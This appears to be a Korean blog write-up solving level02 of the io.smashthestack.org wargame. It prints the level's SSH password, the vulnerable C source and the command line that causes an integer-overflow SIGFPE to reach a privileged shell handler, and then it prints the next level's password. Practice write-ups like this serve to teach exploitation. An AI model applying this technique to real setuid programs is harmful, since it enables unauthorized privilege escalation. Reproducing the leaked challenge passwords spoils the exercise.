본문 바로가기

Wargame/io.smashthestack.org

level02

ssh level2@io.netgarage.org

3ywr07ZFw5IsdKzU




level2@io:~$ cd /levels

level2@io:/levels$ ./level02

source code is available in level02.c


level2@io:/levels$ cat level02.c 

//a little fun brought to you by bla


#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <setjmp.h>


void catcher(int a)

{

        setresuid(geteuid(),geteuid(),geteuid());

printf("WIN!\n");

        system("/bin/sh");

        exit(0);

}


int main(int argc, char **argv)

{

puts("source code is available in level02.c\n");


        if (argc != 3 || !atoi(argv[2]))

                return 1;

        signal(SIGFPE, catcher);

        return abs(atoi(argv[1])) / atoi(argv[2]);

}




signal() 함수는 해당 시그널에 대한 처리를 개발자가 임의로 처리할 수 있게 해주는 함수다.

여기 signal(SIGFPE,catcher);

는 SIGFPE 시그널을 받으면 catcher 함수를 실행시키겠다는 뜻이다.


그래서 우리는 일단 

 if (argc != 3 || !atoi(argv[2]))

에 걸리지 않고,

  return abs(atoi(argv[1])) / atoi(argv[2]);

에서 SIGFPE 시그널을 발생 시켜야 한다.


SIGFPE 시그널은 integer 변수가 overflow 되었을 때나, 잘못된 float 산술 연산일 때 발생한다고 한다.


그래서 


level2@io:/levels$ ./level02 123123123123123123 1

source code is available in level02.c


이렇게 입력해보았지만 응답이 없었다.


그래서 좀더 시그널 조건에 접근하기 위해 

음수계산을 해보기로 했다.



level2@io:/levels$ ./level02 -123123123123123123 -1

source code is available in level02.c


WIN!

sh-4.2$ 

sh-4.2$ cat /home/level3/.pass 

IFd92yzOnSMv9tkX














'Wargame > io.smashthestack.org' 카테고리의 다른 글

level6  (0) 2015.04.12
level05  (0) 2015.04.12
level04  (0) 2015.04.12
level3  (0) 2015.04.12
level01  (0) 2015.04.12